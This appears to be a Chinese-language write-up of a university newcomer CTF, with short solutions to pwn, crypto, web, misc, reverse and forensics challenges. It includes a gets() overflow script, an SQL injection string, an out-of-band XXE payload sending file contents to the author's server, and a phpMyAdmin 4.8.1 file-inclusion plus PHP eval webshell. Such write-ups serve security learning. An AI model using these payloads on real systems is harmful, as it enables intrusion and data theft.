ACTF 新人赛 writeup
- 2019-03-01
- Phosphorus15
前言
本校新人赛的write-up
,因为时间匆忙写得很简陋,因为总体难度比较水,所以没啥参考价值也。。不过还是给挂上来了~~请大手子轻喷。
点此链接查看所有题目内容
Linux & Pwn
vim
nc
连上之后是vim的编辑屏幕,很容易就能想到用:sh
命令切入控制台。Linux基础
大概是。。很简单的题目?不记得了=-=
瑞士军刀
直接用
pwntools
往上面打一个payload:50 * 'a' + '$'
极光宝
一番摸索之后想到存钱也许可以用负数(实际上就是给账户加钱了),尝试以后发现果然没有下界检查,直接
-1000
完事No_more_gets1
很简单的
gets
利用,可以在注册部分填写密码时覆盖到栈上的用户名内容,强行注册一个admin
账号1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from pwn import *
import sys
context.log_level='debug'
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./a.out")
payload=0x10 * 'a' + p64(0x0) + p64(0x555555555607)
sh.recvuntil("6) Exit")
sh.sendline("3")
sh.recvuntil("Input your name")
sh.sendline('father')
sh.recvuntil('Input your password')
sh.sendline('aaaaaaaaaaaaaaa\0admin\0')
sh.recvuntil("6) Exit")
sh.interactive()ed
会用
ed
就没问题,一开始发现后面的AmB
有点奇怪,于是猜测在前缀以后是四个字符一行(正好),依次键入每一行以及命令,获得flag
Special_Shell
没有什么用的过滤,使用模糊匹配
/b??/?a?
就能调用cat
,随即输出flag文件
Crypto
casear
听说出题人被锤了,顾名思义,直接用凯撒密码解,找到actf
开头的,仔细观察发现数字都不正确(全都比正确的大2
),修改之后获得flag矾书
用
Adobe Illustrator
打开(不知道为啥,其它的就是不行),然后全选(或者加一个黑底色图层),就能看到flag反切码
稍微搜索一下,找到反切码对照表,然后发现是
yao4 chi1 shuan4 yang2 rou4
(看来出题人挺饿的),得到flagTiny RSA
q p m e
给全了,直接r = (q-1)(p-1)
,然后求模反d
,直接加密获得结果。Broken Random
瞅准时机,猜对seed,直接爆破,BOOM! (咳咳)
Web
ssh
就是正常的ssh,直接连接到服务器上,查看
flag
SQL Injection
没有太多套路的
SQL
注入(但是貌似加了括号?),直接在用户名处') or 1=1 --
,就能登入XXE
以前从来没接触过的
XXE
。。(现学现卖系列?),因为没有回显,所以被迫用了自己的vps,两个xml如下1
2
3
4
5
6
7
8
9<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!-- not gonna tell u my vps XDDD -->
<!ENTITY % dtd SYSTEM "http://84.***.***.1**/exp.xml">
%dtd;
%all;
%send;
]>1
2
3<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://84.***.***.1**/?%file;'>"
>HTTP闯三关
用
f12
工具箱跟着指示走,各种解决方案或多或少都有提示。(比如X-Forwarded-For
那里的标题就是XFF
)点赞
写一个可爱的小脚本~(因为找不到原来的文件了,所以这里放的是当时的截图)
为什么不用Python?
Maybe Next Time XDDDD
phpmyadmin
稍微谷歌了一下就发现了
4.8.1
一个广为人知的漏洞,利用参数处理的漏洞来显示服务器的任意文件。只要形如http://host/index.php?target=db_sql.php%253f../../
的形式就能访问任意文件。试了半天才找出了根目录的位置(找的是/etc/passwd)。然后提交了一个包含
<? eval($GET('z')) ?>
的sql请求,再打开当前session
文件,就能用提交z
参数的形式执行任意命令。此时相当于获得了shell
,很容易就能用find
找出flag。
Misc
签到题
真-签到题,直接交
flag
base家族
随便找个工具
base
一波,顺序是64->32->16
。Wireshark
用wireshark打开抓包记录,直接在某个http包的Content里就能看到flag貌似?
wordHidden
不想用常规方法解,直接解压之后搜二进制找到后一半flag,在文件属性里找到前一半keypad
结合
Hint
和前缀的数字数目,猜到是两个数字一对,代表键位-字母序
,参考九键布局,获得flagxor
采取了
Aggressive Approach
,通过Patcher把原来的条件跳转一行修改了一下,变为1
2
3
4
5
6400844: 0f be c0 movsbl %al,%eax
400847: 31 c8 xor %ecx,%eax
400849: 39 c2 cmp %eax,%edx
+ 40084b: 75 11 jne 40085e <main+0x218>
40084d: bf 3b 09 40 00 mov $0x40093b,%edi
400852: e8 99 fc ff ff callq 4004f0 <puts@plt>然后安上
gdb
动态调试,把eax
的内容全部记下来,组成flag
Re
show me the code
运行程序以后查看代码,根据其运算方式进行逆向计算,获得flag (直接在python的
repl
里完成,并没有exp保留)simplepacker
显然,出题人并没有很好地加壳,直接对二进制进行搜索就能捉到flag。pyre
经过简单的推演就能发现,程序只需要用到下标为
0 1 2 4 6
的数字,分别为7 8 12 4 19
simple asm
稍作推演就可以大致写出pseudocode
1
2
3
4
5
6
7
8
9
10
11
12void func(char * str) {
for(int i = 0 ; i <= 21 ; i ++) {
int edx = str[i];
edx += 7; // str[i] += 7;
str[i] = edx;
int ecx = str[i];
int rdx = i;
int eax = enstr[i];
if(eax == edx) return 0;
}
return 0;
}然后就是一波逆向演算。
Key-R
正如其名,用
IDA
下的R
键将二进制当作字符串查看,获得flag
Forensics
辛苦出题人(们)啦,还专门弄了台Windows 10
的虚拟机。(虽然Challenge
打错了)
Hidden
- 显示隐藏文件
Visiting History
打开浏览器历史纪录,找到flag
Popbox
在控制台重定向
stdout
到一个文件,获得flagDoNothing
把Memory
Dump
一下,得到flagMemory
把Memory
Dump
一下,得到flagWireFish
WireShark 监听所有TCP连接,发现程序有HTTP协议收发,从报文里获得flag
log
在系统监控日志里找到一个删除含
flag
目录名的失败尝试can’t
用rename的方式强行获得一个
.flag
文件,获得flagpng
pngcheck发现图像尺寸有问题(校验和错误),修改文件头(
0x10
开始)代表高度的第二个int32,获得flagjpg
用
HxD
查看发现有zip文件记录,故将文件格式改为zip,在图片的注释里可以找到压缩密码,获得本题的flagjpg1
解压其中的png,用
pngcheck
无异常,但是发现了Adobe Fireworks
的文件记录(一开始觉得没什么用,后面才有人告诉我存在Adobe Fireworks
这个软件。。。)。用Adobe Fireworks
打开,发现有一个隐藏图层,flag就藏在里面Adobe Firearms
Phishing
开学了,没时间做了 qwq